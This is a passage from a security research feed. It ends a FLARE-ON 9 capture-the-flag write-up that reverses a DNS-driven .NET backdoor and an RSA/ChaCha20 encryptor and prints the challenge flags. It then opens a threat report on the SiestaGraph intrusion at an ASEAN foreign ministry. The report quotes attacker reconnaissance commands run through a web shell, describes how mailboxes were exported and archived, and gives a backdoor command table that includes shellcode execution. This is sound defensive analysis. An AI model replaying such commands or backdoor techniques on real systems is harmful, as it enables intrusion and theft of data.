<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt55b7e9b199a0c11e/6a7c84f2de23152ecafd1e88/image100.jpg" alt="" /></p>
<p>This looks like our obfuscated script.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltec9c8aedb77a081b/6a7c84f5437e0faf45dd5657/image63.jpg" alt="" /></p>
<p>Let’s reverse this obfuscation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1c95f6efc9a25859/6a7c84f8bdcff0c4e6c3d13e/image37.jpg" alt="" /></p>
<p>The final inverted script with “target” as the initial flag looks like this:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt32d26b4fdcd94e7c/6a7c84fb77b0344b0a3f9628/image54.jpg" alt="" /></p>
<p><em>Readers interested in the scripts created for FLARE-ON challenges can find them linked at the end of this publication.</em></p>
<p>Running the script ends up producing an array.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt90302f11df3c50d8/6a7c84fd4c4bfb8a62cc7966/image47.jpg" alt="" /></p>
<p><strong>Flag:</strong> n0t<em>ju5t_A_j4vaSCriP7</em><a href="mailto:ch4l1eng3@flare-on.com">ch4l1eng3@flare-on.com</a></p>
<h2 id="challenge8backdoor">Challenge 8 - “Backdoor”</h2>
<blockquote>
  <p>I'm such a backdoor, decompile me why don't you…</p>
</blockquote>
<h3 id="solution-7">Solution</h3>
<p>This challenge consists of an 11MB Windows PE binary that executes when launched, but returns nothing to the console. We often augment analysis with packet captures, and were listening with WireShark when we observed a DNS resolution event. We’re off to a great start.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0309f64df194306b/6a7c850042a1176ec2956187/image76.jpg" alt="" /></p>
<p>We notice a convention that may be significant: we have flare_xx functions and their flared_yy counterparts. If we inspect the flare_xx functions, they each contain a “try/catch” structure.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg</p>
<p>But when we turned to look at their flared_yy counterparts, something's not quite right.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta673531792cd79a1/6a7c8503bd21986240752321/image33.jpg" alt="" /></p>
<p>In dnSpy, we trace execution to an InvalidProgramException and don’t reach the flared_yy code. But in spite of that, the challenge seems to execute somewhat successfully.</p>
<p>Beginning with main and analyzing the first function, we have a rough outline of what’s happening: there are two layers of “try/catch” logic doing similar things in different ways, and creating a dynamic method Intermediate Language (IL) somehow provided by parameters.</p>
<p>The first layer, flare_71, constructs a dynamic method with the IL directly passed as parameter:</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt577d10e683b686bd/6a7c8505e02fac82695d0585/image95.jpg" alt="" /></p>
<p>Some behind-the-scenes work happens to patch the IL code using a metadata token that has the dynamic method’s context before SetCode is called. A dictionary of locations and metadata tokens is resolved by calling GetTokenFor in the same context, as well.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt67d0973dad5ea05a/6a7c85084c4bfb73a7cc796a/image43.jpg" alt="" /></p>
<p>After patching, the IL is only valid in the context of the dynamic method. To reconstruct the binary properly, now we need to dump the IL before it can be modified, patch it with the right metadatatoken, and then patch the binary to fix the broken function.</p>
<p>We can create a script to do that in Python.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltce3e429bad7ff4f5/6a7c850b8fc2d009343e897f/image52.jpg" alt="" /></p>
<p>After patching the binary’s first layer, it decompiles correctly. The flared_70 function, responsible for running the second obfuscation layer, is a bit more complicated though.</p>
<p>The function will read one of its PE sections by name, using the first 8 characters of the hash of the metadata token and corresponding to the function that raised the InvalidProgramException error. This is decrypted with a hardcoded key. The decrypted section contains the IL of the function to call.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6d25d8ff8db4949d/6a7c850d33fa8a34571fc9af/image81.jpg" alt="" /></p>
<p>The IL patching is somewhat complicated this time and involves a little obfuscation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9786afffab569ef1/6a7c85109f5251500f664097/image39.jpg" alt="" /></p>
<p>The next problem is that we don’t have all the hashes beforehand, only when the function gets called. If we put a breakpoint on the resolving function, we can dump each hash.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt04e85b6d0634660f/6a7c851305b7b5e6aa185b09/image94.jpg" alt="" /></p>
<p>We wrote a script to do the patching automatically and run it each time we add a new hash.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt39d8500c29c1f9a2/6a7c8517b4377093514d10a5/image84.jpg" alt="" /></p>
<p>At this point most of the functions are deobfuscated and we can move on to the core of the challenge.</p>
<p>Initially we observed a large number of DNS resolution events, but didn’t see the malware attempt a network connection to our Flask server. While debugging the sample, though, we can see what looks like an attempt to process commands.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt41d6d835afa396da/6a7c851a73d9bd4296297c86/image50.jpg" alt="" /></p>
<p>The problem is that we still don’t know how to interact with the backdoor. By backtracking to the source of each command, we can see that this sample is using the IP addresses received from these DNS resolutions for communication. Now we know why we didn’t see this sample try to connect to our Flask server, at least.</p>
<p>How this worked, we were about to learn, is a little complicated.</p>
<p>The first IP address is used to create a file, after which all commands arrive in the form of a “255.x.y.z” network address. Each IP address returned to the sample is parsed for its octets, but it might be easier to understand with a concrete example:</p>
<p>When a DNS resolution returns 255.0.0.2, the backdoor expects two specific bytes of data (43d and 50d) which are used to calculate what superficially resembles a network address, 43.50.0.0. The command processing function then performs a comparison and appends a value between 0 and 22.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf35c1ab1d72d30a4/6a7c851c77b034b4c43f962c/image59.jpg" alt="" /></p>
<p>The flared_56 function XORs a value in an array with 248 to determine if the result is equal to the value passed in the parameter or not. If so, it appends a small chunk of text to one of the object’s properties and that value is then removed from the array.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3abc49b1a002a0da/6a7c851fb437700ed84d10a9/image7.jpg" alt="" /></p>
<p>This tells us which command to send and in which order to append all the text chunks. We also noticed that when the array value is empty the _bool flag is set to false. That’s probably not an accident, so let’s inspect any functions using that flag.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0a124cc55eff9024/6a7c8522da3d0573e6633e29/image79.jpg" alt="" /></p>
<p>This function is triggered each time an element is deleted from the value array.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf9267ec18f801c8e/6a7c8524ead8ec7505ba49cf/image48.jpg" alt="" /></p>
<p>We can expect something to happen once the right conditions are met, and endeavor to contrive them.</p>
<p>First, we generated a list of all possible IP address values. Then we configured <a href="https://github.com/Crypt0s/FakeDns">FakeDns</a> to resolve *.flare-on.com to that value list.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt57a44b3fe22d022e/6a7c85266c6eac3cf2f0e43f/image44.jpg" alt="" /></p>
<p>Next, we use FakeDns to respond to requests using a round-robin approach that resolves to each IP address in order, until finally we get the response we were waiting for.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1d48d3d583e5e5c4/6a7c852980ee38b56d60d1c4/image62.jpg" alt="" /></p>
<p>*_Flag: *_W3_4re_Known_f0r_<a href="mailto:b31ng_Dyn4m1c@flare-on.com">b31ng_Dyn4m1c@flare-on.com</a></p>
<h2 id="challenge9encryptor">Challenge 9 - “encryptor”</h2>
<blockquote>
  <p>You're really crushing it to get this far. This is probably the end for you. Better luck next year!</p>
</blockquote>
<h3 id="solution-8">Solution</h3>
<p>For this challenge, we’re provided two files: a Windows PE executable and an encrypted file.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt75e91d90274aee6b/6a7c852c42a11714f295618f/image66.jpg" alt="" /></p>
<p>Encryption is interesting, and when we opened it in HxD we immediately saw a bunch of garbage followed by hexified data.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt006e5e0be0fbf466/6a7c852f73d9bd0f42297c8c/image83.jpg" alt="" /></p>
<p>When the binary is executed, it helpfully indicates a path is expected as an argument.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt68f4819949b9089f/6a7c853251156a3e082bc993/image29.jpg" alt="" /></p>
<p>But nothing happens when a random file is chosen, so a less random file must be what we need.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt45ee2b52039c4fcf/6a7c85349f525167e56640a1/image42.jpg" alt="" /></p>
<p>We begin by tracing the function in IDA and note that it’s looking for a specific extension, “.EncryptMe”.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc2cd39922d9cf6db/6a7c8537fc63ab426a646fe2/image3.jpg" alt="" /></p>
<p>Let’s try again with a random file that uses that specific file extension.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0e1bdfa921633354/6a7c853951156aebdb2bc997/image6.jpg" alt="" /></p>
<p>And we see a new file generated with a different extension (“.Encrypted”) and a larger file size.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt851b35a72e45a74d/6a7c853c437e0f4f8fdd5661/image56.jpg" alt="" /></p>
<p>Looking more closely at the executable in IDA, we determine that the binary is using ChaCha20 with a random key encrypted using RSA-2048.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf96436a10e0edcf5/6a7c853e33fa8a8cb21fc9b9/image5.jpg" alt="" /></p>
<p><em>We need that key.</em></p>
<p>On the most basic level, encryption is just a system of math made up of basic operations like addition and multiplication. RSA is considered a strong implementation because it uses big numbers, and most RSA libraries implement a big number library of some kind. But we don’t really want to reverse all that just for the key, especially when we can find all the related functions in the sample and apply our knowledge of RSA.</p>
<p>We need to generate prime numbers for two variables, p and q.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt26a545608fa20a11/6a7c8541e02facdbb05d0589/image11.jpg" alt="" /></p>
<p>We need to generate the modulus value n, which is equal to p*q. Using p and q as inputs, return n. So far, so good.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt27920727b87b5fd3/6a7c854473d9bd6654297c90/image57.jpg" alt="" /></p>
<p>And we’re going to need a value phi, which is equal to (p-1)*(q-1).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd068d1e1c57cfbf8/6a7c854673d9bdb453297c94/image67.jpg" alt="" /></p>
<p>We deduce that the 2 previous functions are the decrement function that produce p-1 and q-1.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt115df33dbcde00d6/6a7c854980ee38414560d1ca/image89.jpg" alt="" /></p>
<p>Finally, we have an operation that produces the secret key d using phi and the exponent e.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2a15c717041f27e5/6a7c854b51156a5d092bc99b/image86.jpg" alt="" /></p>
<p>Notice however that something fishy is already happening because the global variable containing the exponent e is reused and will contain the private key d. Now at least we can validate that the key is encrypted with the private key (d, n) instead of the public key (e, n).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta530cbebbaeb6ed1/6a7c854ebd21983efa752327/image15.jpg" alt="" /></p>
<p>We can use the public key to decrypt the ChaCha20 key, however we don’t know the modulus value or the encrypted key. Fortunately for us, they are both hexified and appended to the encrypted output file.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0efa43f5e4db37a3/6a7c8550c2cc09cc8024342f/image26.jpg" alt="" /></p>
<p>The encrypted ChaCha20 key is actually contained in the last three rows of the init structure, along with the nonce.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt74fa4c296a030928/6a7c85531967ea3d3d32a8ed/image32.jpg" alt="" /></p>
<p>The key can be decrypted with a little python.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf60fc9a5d98f0043/6a7c85567cfd7a62b9314dc6/image51.jpg" alt="" /></p>
<p>And we’re one step closer.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt24aa9b3fcac2a751/6a7c85589f52518a8d6640a7/image101.jpg" alt="" /></p>
<p>By tracing execution with x64dbg, we can force the decryption of the encrypted file by replacing the ChaCha20 parameters with the key and nonce we’ve just obtained. Another flag down, and one more to go!</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt036b356a124ed58f/6a7c855bc33f4fe05cd54ada/image28.jpg" alt="" /></p>
<p>*_Flag: *_R$A_$16n1n6<em>15_0pp0$17e</em><a href="mailto:0f_3ncryp710n@flare-on.com">0f_3ncryp710n@flare-on.com</a></p>
<h2 id="challenge10thekaraokelabyrinth">Challenge 10 - The Karaoke Labyrinth</h2>
<p>Somehow every member of the team has a nearly encyclopedic knowledge of song lyrics, and intuited their way through this one. Surprisingly whimsical, no reversing necessary.</p>
<h2 id="challenge11thechallengethatshallnotbenamed">Challenge 11 - “The challenge that shall not be named”</h2>
<blockquote>
  <p>Protection, Obfuscation, Restrictions… Oh my!! The good part about this one is that if you fail to solve it I don't need to ship you a prize.</p>
</blockquote>
<h3 id="solution-9">Solution</h3>
<p>This was the eleventh and final challenge of FLARE-ON 9, and unexpectedly straightforward after some of the previous ones. This challenge consisted of a binary, running strings on it gave some hints about it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1162cd9721a90683/6a7c855dead8ec29caba49d9/image65.jpg" alt="" /></p>
<p>“PyInstaller bundles a Python application and all its dependencies into a single package” is a nice summary of what PyInstaller is used for. This binary is compiled from Python scripts and packaged as a single executable, which is less of a problem than it might seem. We encounter those often enough that we’ve found <a href="https://github.com/extremecoders-re/pyinstxtractor">tools</a> to extract python compiled in this way, and we pulled out a few python files.</p>
<p>One of the files, 11.py, threw errors when we attempted to step through it and complained that the library “‘crypt’ has no attribute ‘ARC4’”.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1e48cc8d85094004/6a7c856096b5a646798755f5/image24.jpg" alt="" /></p>
<p>That’s kind of interesting. Notably, we can modify the crypt.py script located in “PYTHON_FOLDER_PATH\lib\crypt.py”, adding the ARC4 function and the class it returns with our custom encrypt function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt70bedcf2155915cb/6a7c8563bdcff0d1acc3d142/image10.jpg" alt="" /></p>
<p>When we run 11.py again, this time it prints us a beautiful flag which wakes us from the dream (or nightmare) that is the FLARE-ON challenge.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f42205eaf3e7af5/6a7c856605b7b50170185b0f/image58.jpg" alt="" /></p>
<p>*_Flag: *_Pyth0n_Prot3ction_tuRn3d_Up_<a href="mailto:t0_11@flare-on.com">t0_11@flare-on.com</a></p>
<h2 id="conclusion">Conclusion</h2>
<p>For the 2022 FLARE-ON challenge, that’s a wrap! We learned a bunch of new things this year and we hope you enjoyed reading our solutions. We’re looking forward to reading yours and learning things we didn’t try.</p>
<p>For those who have waited patiently for a link to scripts, <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d75d12507c1a14d/636e8b687c54010b136bf9ec/flare-on_9_scripts.zip">here you go</a>.</p>
<h4 id="acknowledgements">Acknowledgements</h4>
<p>We want to thank Elastic and Devon Kerr, who gave us the opportunity to spend a week focused on this event. Thanks also to the Mandiant team for the fun and thoughtful challenges: well done. To the researchers who participated, thank you for making it a phenomenal week of learning.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/flare-on-9-solutions-burning-down-the-house</link>
    <guid isPermaLink="false">flare-on-9-solutions-burning-down-the-house</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Cyril François,Salim Bitam,Remco Sprooten]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltade121782172f2ef/6a7c85684c4bfb6041cc7974/illustration-endpoint-security-stop-malware-1284x926.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 04 Jan 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[SiestaGraph: New implant uncovered in ASEAN member foreign ministry]]></title>
    <description><![CDATA[Elastic Security Labs is tracking likely multiple on-net threat actors leveraging Exchange exploits, web shells, and the newly discovered SiestaGraph implant to achieve and maintain access, escalate privilege, and exfiltrate targeted data.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Likely multiple threat actors are accessing and performing live on-net operations against the Foreign Affairs Office of an ASEAN member using a likely vulnerable, and internet-connected, Microsoft Exchange server. Once access was achieved and secured, the mailboxes of targeted individuals were exported.</li>
<li>Threat actors deployed a custom malware backdoor that leverages the Microsoft Graph API for command and control, which we’re naming SiestaGraph.</li>
<li>A modified version of an IIS backdoor called DoorMe was leveraged with new functionality to allocate shellcode and load additional implants.</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>In early December, Elastic Security Labs observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member.</p>
<p>In spite of diverse security instrumentation observed during this activity, the threat actors were able to achieve:</p>
<ul>
<li>The execution of malware on Exchange Servers, Domain Controllers, and workstations</li>
<li>Exfiltration of targeted user and group mailboxes</li>
<li>Deploy web shells</li>
<li>Move laterally to user workstations</li>
<li>Perform internal reconnaissance</li>
<li>Collect Windows credentials</li>
</ul>
<p>Because the intrusion is ongoing and covers almost the entire MITRE ATT&amp;CK framework, the analysis sections will use a timeline approach.</p>
<blockquote>
  <p>For a deep dive analysis of the SIESTAGRAPH, DOORME, or SHADOWPAD malware families, check out our <a href="https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">follow on publication</a> that covers those in detail. In addition, there are associations between this campaign and others based on other observations and 3rd party reporting.</p>
  <p><em>Updated: 2/2/2023</em></p>
</blockquote>
<h2 id="analysis">Analysis</h2>
<p>The investigation, which we’re tracking as REF2924, began with the execution of a Powershell command used to export a user mailbox. While this is a normal administrative function, the commands were executed with a process ancestry starting with the IIS Worker Process ( <strong>w3wp.exe</strong> ) as a parent process of <strong>cmd.exe</strong> , and <strong>cmd.exe</strong> executing Powershell.</p>
<p>These events started the investigation that later identified multiple threat actors within the contested network environment.</p>
<p>The first events observed from this cluster of activity were on November 26, 2022, with the detection of a malicious file execution on a Domain Controller. Because of this, it is likely <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend</a> was deployed post-initial compromise and was deployed in “Detect” mode. Throughout our analysis, we observed other security instrumentation tools in the environment indicating the victim was aware of the intrusion and trying to evict the threat actors.</p>
<p>Because of the multiple malware samples achieving similar goals, various DLL sideloading observations, and the presence of a likely internet-connected Exchange server; we believe that there are multiple threat actors or threat groups working independently or in tandem with each other.</p>
<h3 id="november26302022">November 26–30, 2022</h3>
<h4 id="malwareexecution">Malware execution</h4>
<p>The earliest known evidence of compromise occurred on November 26, 2022, with the execution of a file called <strong>OfficeClient.exe</strong> executed from **C:\ProgramData\Microsoft** on a Domain Controller.</p>
<p>10-minutes after <strong>OfficeClient.exe</strong> was executed on the Domain Controller, another malicious file was executed on another Windows 2019 server. This file was called <strong>Officeclient.exe</strong> and executed from **c:\windows\pla**. On November 28, 2022, *<em>officeup.exe</em>* was executed on this same Windows 2019 server from **C:\programdata**.</p>
<p>On November 29, 2022, the <strong>OfficeClient.exe</strong> file was executed on an Exchange server as <strong>C:\ProgramData\OfficeCore.exe</strong>.</p>
<p>All three of these files ( <strong>OfficeClient.exe</strong> , <strong>Officeclient.exe</strong> , and <strong>OfficeCore.exe</strong> ) have an original PE file name of <strong>windowss.exe</strong> , which is the file name assigned at compile time. We are naming this malware family “SiestaGraph” because of the long sleep timer and the way that the malware uses the Microsoft Graph API for command and control.</p>
<p>As of December 8, 2022, we observed a variant of SiestaGraph in <a href="https://www.virustotal.com/gui/file/50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54">VirusTotal</a>, uploaded from the Netherlands on October 14, 2022. SiestaGraph makes use of a .NET API <a href="https://github.com/KoenZomers/OneDriveAPI">library</a> that functions as an alternative to using Microsoft Graph, which is an API to interact with Microsoft cloud, including Microsoft 365, Windows, and Enterprise Mobility + Security.</p>
<h4 id="internalreconnaissance">Internal reconnaissance</h4>
<p>On November 28, 2022, the threat actor began performing internal reconnaissance by issuing standard commands such as <strong>whoami</strong> , <strong>hostname</strong> , <strong>tasklist</strong> , etc. These commands were executed with a process ancestry starting with the IIS Worker Process ( <strong>w3wp.exe</strong> ) as a parent process of <strong>cmd.exe</strong> , and <strong>cmd.exe</strong> executing the commands.</p>
<pre><code>cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&amp;whoami

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&amp;hostname

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources"&amp;tasklist
</code></pre>
<p>Additional adversary reconnaissance was performed to enumerate local network assets as well as victim assets at embassies and consulates abroad. There has been no indication that this information has been subsequently exploited for additional access or information at this time.</p>
<p>On November 29, 2022, the threat actor began collecting domain user and group information with the <strong>net user</strong> and <strong>net group</strong> commands, again issued as child processes of <strong>w3wp.exe</strong> and <strong>cmd.exe</strong>. These commands confirmed that this was not an entirely scripted campaign and included an active operator by the fact that they forgot to add the <strong>/domain</strong> syntax to two of the 20 <strong>net user</strong> commands. While the <strong>net user</strong> command does not require the <strong>/domain</strong> syntax, the fact that this was only on two of the 20 occurrences, it was likely an oversight by the operator. This was the first of multiple typographical errors observed throughout this campaign.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc92de08948e45e05/6a7c93af8fc2d0bb6b3e8c22/image5.jpg" alt="Example of a typographical error (“yupe” instead of “type”) showing an active operator" title="Example of a typographical error (“yupe” instead of “type”) showing an active operator" /></p>
<h4 id="exportingexchangemailboxes">Exporting Exchange mailboxes</h4>
<p>On November 28, 2022, the threat actor started to export user mailboxes, again using the <strong>w3wp.exe</strong> process as a parent for <strong>cmd.exe</strong> , and finally Powershell. The threat actor added the <strong>Microsoft.Exchange.Management.PowerShell.SnapIn</strong> module. This module provides the ability to manage Exchange functions using Powershell and was used to export the mailboxes of targeted Foreign Service Officers and saved them as PST files.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5ff43476314fdbd0/6a7c93b11967eaf4a832ab8f/image11.jpg" alt="Abnormal process spawned from IIS Worker" title="Abnormal process spawned from IIS Worker" /></p>
<p>In the above example, the <strong>Received -gt</strong> and <strong>Sent -gt</strong> dates timebox the collection window as all emails sent and received after ( <strong>gt</strong> is an acronym for “greater than”) November 15, 2022. The timeboxing was not uniform across all mailboxes and this process was repeated multiple times. Again, in the above example from November 28, 2022, the timebox was for all sent and received emails from November 15, 2022, to the current date (November 28, 2022); on December 6, 2022, the mailbox was exported again, this time with a <strong>gt</strong> value of November 28, 2022, which was the date of the last export.</p>
<p>In another example in this phase, the threat actors targeted a mailbox called <strong>csirt</strong>. While this is unconfirmed, “csirt” is commonly an acronym for Cyber Security Incident Response Team.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte88a5376d3886dbe/6a7c93b405b7b571af185de1/image6.jpg" alt="CSIRT mailbox exported" title="CSIRT mailbox exported" /></p>
<p>Taking into consideration the timebox used on the <strong>csirt</strong> export, if this is the industry standard acronym of CSIRT, the intrusion could have started as early as September 1, 2022, and the threat actors were monitoring the CSIRT to identify if their intrusion had been detected.</p>
<p>Throughout this phase, a total of 24 mailboxes were exported.</p>
<p>Once the mailboxes were exported, the threat actor created a 7zip archive called <strong>7.tmp</strong> with a password of <strong>huebfkaudfbaksidfabsdf</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1921fea56ce0e5a4/6a7c93b63ce8e24ee0cefa66/image4.jpg" alt="Creating password-protected Zip archive" title="Creating password-protected Zip archive" /></p>
<p>Three of the mailboxes, one of which being the <strong>csirt</strong> mailbox, were archived individually. These three mailboxes were archived with a <strong>.log.rar</strong> or <strong>.log</strong> file extension.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6fa172a7daf877c0/6a7c93b9c2cc094a3b24373e/image14.jpg" alt="Targeted mailboxes archived individually (partially obfuscated as two PST files have user initials)" title="Targeted mailboxes archived individually (partially obfuscated as two PST files have user initials)" /></p>
<p>Finally, the threat actor created a 200m 7zip archive called <strong>o.7z</strong> and added the previously created, password-protected, <strong>7.tmp</strong> archive to it.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9876044d23307e8c/6a7c93bc51156a28492bcc77/image13.jpg" alt="o.7z created from 7.tmp" title="o.7z created from 7.tmp" /></p>
<h4 id="iisbackdoormodule">IIS backdoor module</h4>
<p>On November 28, 2022, we observed the loading of two DLL files, <strong>Microsoft.Exchange.Entities.Content.dll</strong> and <strong>iisrehv.dll</strong> through the execution of the <strong>iissvcs</strong> services using <strong>svchost.exe</strong>. Both <strong>Microsoft.Exchange.Entities.Content.dll</strong> and <strong>iisrehv.dll</strong> were loaded using the <strong>iissvcs</strong> module of the Windows Service Host through the execution of <strong>C:\Windows\system32\svchost.exe -k iissvcs</strong>. These malicious IIS modules are loosely based on the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme">DoorMe</a> IIS backdoor.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltea424975709f343c/6a7c93beead8ec63dfba4cac/image2.jpg" alt="DoorMe strings embedded in IIS backdoor module" title="DoorMe strings embedded in IIS backdoor module" /></p>
<blockquote>
  <p>For context, IIS is web server software developed by Microsoft and used within the Windows ecosystem to host websites and server-side applications. Starting on version 7.0, Microsoft extended IIS by adding a modular architecture that allows individual modules to be added or removed in order to achieve functionality depending on an environment’s needs. These modules represent individual features that the server can then use to process incoming requests.</p>
</blockquote>
<p>During the post-compromise stage, the adversary used the malicious IIS module as a passive backdoor monitoring all incoming HTTP requests. Depending on a tailor-made request by the operator, the malware will activate and process commands. This approach can be challenging for organizations as there is usually low visibility in terms of monitoring and a lack of prevention capabilities on these types of endpoints. In order to install this backdoor, it requires administrator rights and for the module to be placed inside the <strong>%windir%\System32\inetsrv</strong> directory, based on the observed artifacts we believe initial access was gained through server exploitation from a recent wave of Microsoft Exchange RCE exploit usage.</p>
<p>The malicious module (C++ DLL) is first loaded through its export, <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/pfn-registermodule-function">RegisterModule</a>. This function is responsible for setting up the event handler methods and dynamically resolving API libraries for future usage. The main functionality of the backdoor is implemented using the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-class">CGlobalModule class</a> under the event handler <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method">OnGlobalPreBeginRequest</a>. By overriding this event handler, the malware is loaded before a request enters the pipeline. The core functionality of the backdoor all exists in this function, including cookie validation, parsing commands, and calling underlying command functions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt29382fe0f3098b4d/6a7c93c1c33f4f16c6d54de1/image10.jpg" alt="Class methods including malicious OnGlobalPreBeginRequest method" title="Class methods including malicious OnGlobalPreBeginRequest method" /></p>
<p>The malware implements an authentication mechanism based on a specific cookie name that contains the authentication key. This malicious IIS module checks for every incoming HTTP request for the specified cookie name, and it returns a success message in case of a GET request. The GET request is used as a way to test the backdoor’s status for the operator, and it also returns back the username and hostname of the impacted machine. Commands can be passed to the backdoor through POST requests as data.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltae0f2df0d6533dfd/6a7c93c44c4bfb40dbcc7bf1/image8.jpg" alt="GET HTTP request with the authentication cookie" title="GET HTTP request with the authentication cookie" /></p>
<p>Throughout our analysis, we discovered old samples on VirusTotal relating to this backdoor. Although they have the same authentication and logic, they implement different functionalities. The cookie name used for authentication was also changed alongside the handled commands.</p>
<p>This observed backdoor implements four different commands, and the symbol PIPE is used to separate the command ID and its arguments.</p>
<p>| ID   | Parameter                           | Description                                                                                                     |
| ---- | ----------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| 0x42 | Expects the string GenBeaconOptions | Generates a unique Globally Unique Identifier used to identify the infected machine and send it to the attacker |
| 0x43 | Shellcode blob                      | Execute the shellcode blob passed as a parameter in the current process                                         |
| 0x44 | N/A                                 | Write and Read from a specified named pipe                                                                      |
| 0x63 | Shellcode blob in chunks            | Similar to command ID: 0x43, this command can receive a blob of shellcode in chunks when fully received         |</p>
